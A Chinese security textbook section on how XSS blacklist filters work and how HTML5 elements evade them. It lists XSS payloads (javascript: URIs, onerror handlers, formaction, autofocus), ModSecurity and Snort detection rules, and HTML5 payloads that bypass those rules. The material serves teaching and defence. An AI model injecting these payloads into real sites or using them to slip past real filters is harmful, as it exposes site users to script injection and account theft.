8.1 新标签和新属性绕过黑名单策略

白名单和黑名单过滤器策略是防御XSS攻击的重要方法。对输入/输出的过滤而言,白名单的防御效果要强于黑名单。但白名单策略需要极其严格的编写方式,而且用户体验效果也不强。所以在现实中,防御XSS攻击使用黑名单策略仍占一大部分。

在传统的XSS黑名单策略中,会使用HTML的标签、属性和正则表达式作为关键字匹配。现在我们以开源Web应用防火墙Modsecurity和开源软件Snort中的XSS检测为例,来看看HTML5中的新元素是如何突破这种规则策略的。

8.1.1 跨站中的黑名单策略

1. 对HTML标签做黑名单策略

常见的XSS中用到的HTML标签格式如下:

<a href=javascript:…
<applet src="data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4" type=text/html>
<base href=javascript:...
<bgsound src=javascript:...
<body background=javascript:...
<frameset><frame src="javascript:..."></frameset>
<iframe src=javascript:...
<img src=x onerror=...
<input type=image src=javascript:...
<layer src=...
<link href="javascript:..." rel="stylesheet" type="text/css"
<meta http-equiv="refresh" content="0;url=javascript:..."
<object type=text/x-scriptlet data=...
<script>...</script>
<style type=text/javascript>alert('xss')</style>
<table background=javascript:...
<td background=javascript:
<button onmouseover="alert(/1/)" onclick="alert(/2/)"></button>

针对这样的XSS代码,Modsecurity中的检测规则可以写为:

SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "<(a|abbr|acronym|address|applet|area|audioscope|b|base|basefront|bdo|bgsound|big|blackface|blink|blockquote|body|bq|br|button|caption|center|cite|code|col|colgroup|comment|dd|del|dfn|dir|div|dl|dt|em|embed|fieldset|fn|font|form|frame|frameset|h1|head|hr|html|i|iframe|ilayer|img|input|ins|isindex|kdb|keygen|label|layer|legend|li|limittext|link|listing|map|marquee|menu|meta|multicol|nobr|noembed|noframes|noscript|nosmartquotes|object|ol|optgroup|option|p|param|plaintext|pre|q|rt|ruby|s|samp|script|select|server|shadow|sidebar|small|spacer|span|strike|strong|style|sub|sup|table|tbody|td|textarea|tfoot|th|thead|title|tr|tt|u|ul|var|wbr|xml|xmp)\W" \
"phase:2,rev:'2.0.5',id:'973300',capture,t:none,t:jsDecode,t:lowercase,pass,nolog,auditlog,msg:'Possible XSS Attack Detected - HTML Tag Handler',logdata:'%{TX.0}',setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/XSS-%{matched_var_name}=%{tx.0}"

Snort中的检测规则可以写为:

alert tcp any any -> any 80 (msg:"XSS 攻击识别";  pcre:"/<(a|abbr|acronym|address|applet|area|audioscope|b|base|basefront|bdo|bgsound|big|blackface|blink|denyquote|body|bq|br|button|caption|center|cite|code|col|colgroup|comment|dd|del|dfn|dir|div|dl|dt|em|embed|fieldset|fn|font|form|frame|frameset|h1|head|hr|html|i|iframe|ilayer|img|input|ins|isindex|kdb|keygen|label|layer|legend|li|limittext|link|listing|map|marquee|menu|meta|multicol|nobr|noembed|noframes|noscript|nosmartquotes|object|ol|optgroup|option|p|param|plaintext|pre|q|rt|ruby|s|samp|script|select|server|shadow|sidebar|small|spacer|span|strike|strong|style|sub|sup|table|tbody|td|textarea|tfoot|th|thead|title|tr|tt|u|ul|var|wbr|xml|xmp)\W/iU"; sid:10001; rev:1;)

2. 对HTML标签属性做黑名单策略

下面以on打头的标签属性为例,格式如下:

<body onload=…>
<img src=x onerror=...>

Modsecurity中的检测规则可以写为:

SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bon(abort|blur|change|click|dblclick|dragdrop|error|focus|keydown|keypress|keyup|load|mousedown|mousemove|mouseout|mouseover|mouseup|move|readystatechange|reset|resize|select|submit|unload)\b\W*?=" \
"phase:2,rev:'2.0.5',id:'973303',capture,t:none,t:lowercase,pass,nol og,auditlog,msg:'XSS Attack Detected',logdata:'%{TX.0}',setvar:'tx.msg=% {rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anom aly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/XSS%{matched_var_name}=%{tx.0}"

Snort中的检测规则可以写为:

alert tcp any any -> any 80 (msg:"XSS攻击识别"; pcre:"/\bon(abort|blur|change|click|dblclick|dragdrop|error|focus|keydown|keypress|keyup|load|mousedown|mousemove|mouseout|mouseover|mouseup|move|readystatechange|reset|resize|select|submit|unload|bounce|start|loadedmetadata|durationchanged|timeupdate)\b\W*?=(alert|document|location)/iU"; sid:10002; rev:2;)

8.1.2 新元素突破黑名单策略

从8.1.1节中的Modsecurity和Snort规则不难发现,绕过这种黑名单策略,一种情况就是跨站师使用变形后的代码绕过正则表达式的语义范围,如果正则表达式书写非常严谨,那么就很难绕过。另一种情况是下面将要提到的,跨站师们可以轻松绕过跨站黑名单策略的又一利器——HTML5新标签和新属性。

1. 新标签

HTML5中可以利用到的新标签有音频标签<audio>和视频标签<video>。在这些标签中可以执行XSS代码:

<video onerror=javascript:alert(1)><source>
<audio onerror=javascript:alert(1)><source>
<video><source onerror="javascript:alert(1)">
<audio><source onerror="javascript:alert(1)">
<video src="some_valid_video" onloadedmetadata="alert(1)" ondurationchanged ="alert(2)" ontimeupdate="alert(3)"></video>

2. 新属性

HTML5中可以利用到的新属性有formaction、onformchange、onforminput、autofocus等,在这些属性中可以执行XSS代码:

<form id="test" /><button form="test" formaction="javascript:alert(1)">X
<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X
<input onfocus=write(1) autofocus>

很明显,这些使用HTML5代码进行的XSS攻击,使用上面提到的Modsecurity和Snort规则是无法检测到的。

要了解更多跨站中用到的HTML5标签属性,可查看http://html5sec.org/。